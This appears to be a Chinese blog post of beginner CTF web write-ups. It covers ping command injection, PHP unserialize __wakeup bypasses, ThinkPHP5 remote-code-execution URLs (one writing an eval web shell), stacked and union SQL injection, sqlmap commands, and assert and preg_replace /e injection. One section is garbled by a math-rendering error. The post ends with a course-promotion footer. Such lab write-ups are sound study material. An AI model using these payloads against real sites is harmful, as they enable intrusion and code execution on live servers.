攻防世界的新手web题解

攻防世界的新手web题解 攻防世界的新手web题解攻防世界引导模式1、disabled/_button好给了一个按钮第一道题目就不会做看的wp简单分析一下代码input … : 这是一个HTML的输入标签。它通常用于收集用户输入但在这里它被用作一个提交按钮。disabled: 这是一个属性表示这个按钮是禁用的。当按钮被禁用时用户不能点击它。这在某些情况下很有用例如当你想要显示一个按钮但不想让用户点击它时。disabled 属性规定应该禁用 input 元素。被禁用的 input 元素既不可用也不可点击直到满足某些其他的条件为止比如选择了一个复选框等等然后就需要通过 JavaScript 来删除 disabled 值将 input 元素的值切换为可用。disabled 属性无法与 一起使用。class“btn btn-default”: 这是一个类属性通常用于CSS样式和JavaScript功能。在这里它有两个类btn 和 btn-default。这通常是用于Bootstrap或其他前端框架的以便应用特定的样式。style“height:50px;width:200px;”: 这是一个内联样式属性直接定义了这个按钮的高度为50像素宽度为200像素。type“submit”: 这表示这个输入是一个提交按钮。当用户在表单中点击这个按钮时表单会被提交。value“flag”: 这定义了按钮上显示的文本即“flag”。name“auth”: 这给按钮定义了一个名字名为“auth”。这在表单提交时很有用因为服务器可以识别这个按钮是被点击的。所以直接把 disabled删除双击选中它删除然后点击flag最终得到flag2、command/_execution(小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的你知道为什么吗。)这道题目给了一个ping地址的东西很显然我不会果然师傅说的没错不是CTFshow刷完了就完结了还有很多题目是我没有见到过的。ping命令ping 命令是一个常用的网络命令用于测试两台计算机之间网络连接的连通性。通过向目标计算机发送 ICMP 协议的数据包并等待目标计算机返回响应数据包来测试网络的可达性同时也可以测试网络的延迟和丢包率等信息。ping命令的应用格式1.pingIP地址或主机域名2.pingIP地址或主机域名命令参数3.ping命令参数IP地址或主机域名ping命令执行漏洞如果 ping 命令不正确地处理其输入参数就可能存在被攻击者利用来运行危险的命令的风险。例如如果在 ping 命令中使用了一个长度超过其预期的输入参数则可能会导致该命令出现缓冲区溢出漏洞。该题可将输入参数截断从而让其运行危险的参数常见的连接符有例如ping127.0.0.1| ls /时将显示ls /的执行结果即列出目录回到刚刚的题目然后从中一个一个找下一层目录有没有flag最后在home这一层找到flag.txt3、baby/_web想想初始页面是哪个这道题目起初给了我们一个界面但是他的链接是1.php我们直接改成index.php发现不行仍然是跳转到1.php这边来后来想到抓个包试试访问index.php时发现他自动跳转回了1.php抓包Location: 1.php所以index.php通过302重定向1.php我当时找半天没找到这个flag在哪里我只看到了下面的flag is hidden一直没往上看4、simple/_js小宁发现了一个网页但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )我们也是密码怎么输入都不对查看一下源代码这段JavaScript代码是一个解密函数用于解密经过特定编码的密码字符串。dechiffre(pass/_enc) 函数定义了一个解密函数它接受一个经过编码的密码作为输入。在函数内部将两个字符串 pass/enc 和 pass 分别表示为经过编码的密码和用于解密的密钥。使用 split() 函数将经过编码的密码字符串和密钥字符串分割成数组。通过循环将编码后的密码字符串逐个解码最终得到原始密码。然后通过 String.fromCharCode() 函数将字符代码转换为对应的字符。最后将解密后的密码返回。在代码的末尾通过 prompt() 函数获取用户输入的密码并通过 alert() 函数显示解密后的密码。这段代码主要就是5、unserialize3这道题目是一个简单的绕过魔术方法wakeup的反序列化题目这道题目只要我们去把绕过wakeup就可以获取到flag首先我们先反序列化一下这个数值如何获得这个序列化的值我们**此时需要绕过//wakeup()方法****//wakeup()函数漏洞原理当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过//_wakeup的执行。因此需要修改序列化字符串中的属性个数所以只要把O的4改成5就可以了**6、thinkphp5这道题目一看就是让我们去寻找PHPV5的漏洞因为前几天刚做过5.1的漏洞所以我一直再找反序列化的可控入口可是怎么点击都没有后面发现5的漏洞不是这个发现只要传参就可以了# 第一个 http://127.0.0.1/cms/thinkPHP5/thinkphp_5.0.0/public/?scaptchatestwhoami POST _method__constructfilter[]systemmethodGETget[]whoami # 第二个 ?sindex/think/app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]whoami?sindex/think/app/invokefunctionfunctioncall_user_func_arrayvars[0]file_put_contentsvars[1][]12345.phpvars[1][1]?php eval($_POST[shell]); ?然后就可以获取到这个flag了。7、warm up一看就是反序列化的题目?php highlight_file(__FILE__); class emmm { public static function checkFile($page) { $whitelist [sourcesource.php,hinthint.php]; //白名单 if (![图片](isset($page)) || !is_string($page)) { echo you cant see it; return false; //没有设置$page或者$page不是字符型返回false } if (in_array($page, $whitelist)) { //in_array()检查数组中是否存在某个值 return true; //验证输入的是否为 白名单内容是则返回真 } //mb_substr()返回字符串的一部分 //mb_strpos()查找字符串在另一个字符串中首次出现的位置没匹配到则返回字符串长度 //mb_strpos返回$page里?出现的第一个位置 //mb_substr截取?前内容无?则全部获取 $_page mb_substr($page, 0, mb_strpos($page . ?, ?)); if (in_array($_page, $whitelist)) { return true; //如果$_page在白名单里则返回true } $_page urldecode($page); //对$page进行url解码 $_page mb_substr($_page, 0, mb_strpos($_page . ?, ?)); //解码后再次截取?前的字符 if (in_array($_page, $whitelist)) { return true; //第三次白名单验证 } echo you cant see it; return false; } } //主函数 if (![图片](empty($_REQUEST[file])) //empty()用于检查一个变量是否为空file不能为空我们要传入一个file参数 is_string($_REQUEST[file]) //判断是否为string类型 emmm::checkFile($_REQUEST[file]) //调用checkFile检测是否过白名单 ) { include $_REQUEST[file]; exit; } else { echo brimg src/https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg/ /; } ?反序列化的题目还是一看就头疼根本看不懂这道题目再说什么8、NewsCenter这道题目看起来就像是SQL注入的东西然后我们就可以使用联合查询试试但是我发现我用and和or的话页面会跳转到空白页面然后我们就使用BP抓一下包然后试了很多查询但是好像应该是被过滤掉了所以这道题应该是SQL但是不是用手注而是用SQLmap来跑发现这个-u的跑不出来。后来发现sqlmap还有另外一种用法。然后保存在桌面123.txt然后用sqlmap注入这方面我也不太会。。。查找数据库 -r C:/Users/123/Desktop/123.txt --dbs 发现有两个数据库sqlmap -r ‘/root/桌面/1.txt’ -D news -T secret/_table --columnssqlmap -r ‘/root/桌面/1.txt’ -D news --tablessqlmap -r ‘/root/桌面/1.txt’ --dbssqlmap -r ‘/root/桌面/1.txt’ -D news -T secret/_table -C fl4g然后最后得出flag这道题目就搞出来了sqlmap这个是新东西学习学习9、Web/_php/_unserialize代码审计这段代码首先定义了一个名为 Demo 的类包含了一个私有变量 $file 和三个魔术方法 /_/construct()、//destruct() 和 //wakeup()。其中//construce()方法用于初始化 $file 变量//destruce方法用于输出文件内容//_wakeup() 方法检查当前对象的 $file 变量如果不等于 index.php则将其重置为 index.php从而防止攻击者通过反序列化攻击来读取 fl4g.php 文件的内容。这段代码主要是用于接收 GET 参数 var使用 base64/_decode 函数对 var 进行解码然后通过 preg/_match 函数判断是否包含类似 o:2的字符串如果存在则中断程序执行否则调用 unserialize 函数进行反序列化操作。这道题目构造一下我们的pocO:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}wakeup绕过修改反序列化串的对象属性个数使之大于真实属性个数即可。构造POC如下O:4:“Demo”:2:{s:10:“Demofile”;s:8:“fl4g.php”;}然后第二个是绕过preg/_match的正则表达式/[oc]:/d:/i表示匹配任意个位于开头的 o 或 c 字符紧接着一个冒号然后是一或多个数字最后是一个冒号不区分大小写。即形如o:2:的字符串被过滤使用 即可绕过固定知识点所以我们的pocO:4:“Demo”:2:{s:10:“Demofile”;s:8:“fl4g.php”;}最后一步把他base64编码一下pocTzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ然后进行传参十、supersqli这道题目一看就知道是SQL注入证实了闭合方式为单引号继续测试字段数目order by / group by 经测试字段数目为2。接着开始注数据库名表名等关键信息首先尝试Union联合注入—构造payload: ?inject1’ union select database()提交页面如下页面回显提示我们后端代码对注入点inject提交的内容进行了过滤将 select、where等一系列关键字进行了过滤并无视大小写阻止了 大小写绕过 等绕过方法。所以Union联合注入不可行。同时观察到 show、from 等一些堆叠注入关键词没有被过滤故尝试堆叠注入构造payload?inject1’;show databases; -- 提交页面如下发现回显数据库信息证实堆叠注入可行。继续注表名构造payload?inject1’;show tables’ --提交页面如下然后下一步就说爆库了首先查看表 words发现列名分别为 id 和 data猜测表words可能为默认查询的表构造payload?inject1’or 11 #进行验证观察到回显内容格式均为 id data 的格式证实表 words 为默认查询的表。继续查询 表1919810931114514中的列构造相同payload?inject1’;show columns from1919810931114514; #提交查询页面如下然后我们发现这个flag再这个1919的表里面。已知表 words 为查询的默认表则可以利用 rename 关键字将 表word改名为words并将表 1919810931114514改名为 word这样默认查询的表就变成了原先的 表1919810931114514并将列 flag 改为 id这样进行查询则可得到 flag 的值; alter table words rename to words1;alter table1919810931114514rename to words;alter table words change flag id varchar(50); #拆开; alter tables words rename to words1;; alter tables1919810931114514rename to words ;; alter tables words change flag id varchar(50); #方法一根据在words表里发现id字段与查询框里的出的数据类型相同一个数字一个字符串所以猜测默认查询的就是words表inject搜索框中值应该赋给了id利用我们可以将含有flag字段的表命名为word然后修改字段名字不就查询到我们想要的结果前提是这里renamealert关键字 没有做过滤方法二、预编译1;Set sql CONCAT(se,lect * from 1919810931114514;);prepare stmt from sql;EXECUTE stmt;#这道题目不是很懂后面再来学习这个知识点十一、My PHP Website打开就一个网站的界面用kali扫除git泄露直接进到里面去进入Githack-master文件目录打开终端输入以下命令获取源码然后有一个index.php的源码blob 2199 ?php if (isset($_GET[page])) { $page $_GET[page]; } else { $page home; } $file templates/ . $page . .php; // I heard .. is dangerous![图片](assert()strpos($file, ..) false) or die(Detected hacking attempt!); // TODO: Make this look nice assert(file_exists($file)) or die(That file doesnt exist!); ? !DOCTYPE html html head meta charsetutf-8 meta http-equivX-UA-Compatible contentIEedge meta nameviewport contentwidthdevice-width, initial-scale1 titleMy PHP Website/title link relstylesheet hrefhttps://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css / /head body nav classnavbar navbar-inverse navbar-fixed-top div classcontainer div classnavbar-header button typebutton classnavbar-toggle collapsed>KaTeX parse error: Expected EOF, got at position 153: …gin_urlassert(̲pos_idimg-mork…file’, ‘…’) false) or die(“Detected hacking attempt!”);// TODO: Make this look niceassert(“file/_exists(‘f i l e ′ ) ) o r d i e ( T h a t f i l e d o e s n ′ t e x i s t ! ) ; 真正的代码就只有着一些刚学 p h p 的小白表示来简单的学习下这些函数 i s s e t 检测变量是否已声明 s t r p o s ( ) 函数查找字符串在另一字符串中第一次出现的位置。如果没有找到则返回 F a l s e f i l e / e x i s t s ( ) 函数检查文件或目录是否存在。 a s s e r t ( ) 会检查指定的 a s s e r t i o n 并在结果为 F A L S E 时采取适当的行动。如果 a s s e r t i o n 是字符串它将会被 a s s e r t ( ) 当做 P H P 代码来执行。 a s s e r t i o n 是字符串的优势是当禁用断言时它的开销会更小并且在断言失败时消息会包含 a s s e r t i o n 表达式。这意味着如果你传入了 b o o l e a n 的条件作为 a s s e r t i o n 这个条件将不会显示为断言函数的参数在调用你定义的 a s s e r t / o p t i o n s ( ) 处理函数时条件会转换为字符串而布尔值 F A L S E 会被转换成空字符串。关于 p h p 命令执行后期会出一个学习心得最近有点卡在这了 ∗ ∗ 过程 ∗ ∗ 再重新回到源码先是以 g e t 请求获得 p a g e 值如果没有则返回。之后再把 p a g e 值添加构造文件路径名然后用 s t r p o s 函数检查文件路径名是否有 . . 如果没有的话返回 f a l s e 这里肯定要让它 f a l s e 之后 f a l s e f a l s e 才能执行下一步 a s s e r t ( f i l e / e x i s t s ( ′ file)) or die(That file doesnt exist!); 真正的代码就只有着一些刚学php的小白表示来简单的学习下这些函数 isset检测变量是否已声明 strpos() 函数查找字符串在另一字符串中第一次出现的位置。如果没有找到则返回False file/_exists() 函数检查文件或目录是否存在。 assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。 如果 assertion 是字符串它将会被 assert() 当做 PHP 代码来执行。 assertion 是字符串 的优势是当禁用断言时它的开销会更小并且在断言失败时消息会包含 assertion 表达式。 这意味着如果你传入了 boolean 的条件作为 assertion这个条件将不会显示为断言函数的 参数在调用你定义的 assert/_options() 处理函数时条件会转换为字符串而布尔值 FALSE 会被转换成空字符串。 关于php命令执行后期会出一个学习心得最近有点卡在这了 **过程** 再重新回到源码 先是以get请求获得page值如果没有则返回。 之后再把page值添加构造文件路径名 然后用strpos函数检查文件路径名是否有.. 如果没有的话 返回false 这里肯定要让它false 之后falsefalse才能执行下一步assert(file/_exists(file′))ordie(Thatfiledoesn′texist!);真正的代码就只有着一些刚学php的小白表示来简单的学习下这些函数isset检测变量是否已声明strpos()函数查找字符串在另一字符串中第一次出现的位置。如果没有找到则返回Falsefile/e​xists()函数检查文件或目录是否存在。assert()会检查指定的assertion并在结果为FALSE时采取适当的行动。如果assertion是字符串它将会被assert()当做PHP代码来执行。assertion是字符串的优势是当禁用断言时它的开销会更小并且在断言失败时消息会包含assertion表达式。这意味着如果你传入了boolean的条件作为assertion这个条件将不会显示为断言函数的参数在调用你定义的assert/o​ptions()处理函数时条件会转换为字符串而布尔值FALSE会被转换成空字符串。关于php命令执行后期会出一个学习心得最近有点卡在这了∗∗过程∗∗再重新回到源码先是以get请求获得page值如果没有则返回。之后再把page值添加构造文件路径名然后用strpos函数检查文件路径名是否有..如果没有的话返回false这里肯定要让它false之后falsefalse才能执行下一步assert(file/e​xists(′file’)”)assert(“file/_exists(‘$file’)”) 在这里构造payload$file111’) or system(“cat templates/flag.php”);最终payload为 ?page111’) or system(“cat templates/flag.php”);//之后按一定要按F12查看源码看flagics-05这道题目我们刚打开是一个设备维护中心我本来以为是之前的SQL注入但是没想到不是啥都没有tm的但是发现了一个点点击这个云平台设备维护中心会跳出来page什么index.php他回显了一个OK然后我们就可以看看有没有flag.php但没有回显我们可以使用伪协议来读取index.php的内容这样我们就读取到了其中的内容然后对他进行解码发现是一串php代码审计对于这个是真头疼啊骂他说要内部人员测试所以把协议头改成127.0.0.1就可以了然后这边出现了一个漏洞就是查了一下preg/_replace函数有一个很严重的漏洞存在。举个例子preg/_replace(“/txt/e”,$/_GET[“ganyu”],“txt”);/e会将ganyu当做php代码运行所以我们可以利用这个点构造出来payloadpat/txt/erepsystem(‘ls’)subtxt?pat/txt/erepsystem(‘lss3chahahaDir’)subtxt?pat/txt/erepsystem(‘lss3chahahaDir/flag’)subtxt然后就可以获取到flag了fakebook这道题目首先给出一个登录界面但是试了SQL注入也不行应该不是这样做的然后看到另一个注册的地方然后blog那边有问题一直输入提示错误后面找到了随便一个网站然后就成功注册成功了。发现这边有一个admin可以打开之后发现no那边应该可以用sql注入然后我就是用sqlmap跑了一下发现跑不出来那我们就可以通过手动注入来看一下他的列数。到5的时候发现是4列所以我们就可以试试select行不行。http://61.147.171.105:55570/view.php?no1////order////by////5–发现我们的库的名字是facebook并且这里也写出了一个路径我们可以尝试用dirsearch去扫描一下发现我们里面有一个flag.php,然后我们就可以猜测flag.php在**/var/www/html/flag.php**路径下解法二不使用load/_file由于拿到了数据库名查询表数据查询表名http://61.147.171.105:55570/view.php?no-1/**/union/**/select/**/1,group_concat(table_name),3,4 from information_schema.tables where table_schemadatabase()--开头为注册用户中间为注册时设置的密码被加密末尾为序列化内容这里单独吧data列出然后打开源代码发现这里就有了flag《网络安全从零到精通全套学习大礼包》96节从入门到精通的全套视频教程免费领取如果你也想通过学网络安全技术去帮助就业和转行我可以把我自己亲自录制的96节 从零基础到精通的视频教程以及配套学习资料无偿分享给你。网络安全学习路线图想要学习 网络安全作为新手一定要先按照路线图学习方向不对努力白费。对于从来没有接触过网络安全的同学我帮大家准备了从零基础到精通学习成长路线图以及学习规划。可以说是最科学最系统的学习路线大家跟着这个路线图学习准没错。配套实战项目/源码所有视频教程所涉及的实战项目和项目源码学习电子书籍学习网络安全必看的书籍和文章的PDF市面上网络安全书籍确实太多了这些是我精选出来的面试真题/经验以上资料如何领取#pic_center)学习电子书籍学习网络安全必看的书籍和文章的PDF市面上网络安全书籍确实太多了这些是我精选出来的面试真题/经验以上资料如何领取文章来自网上侵权请联系博主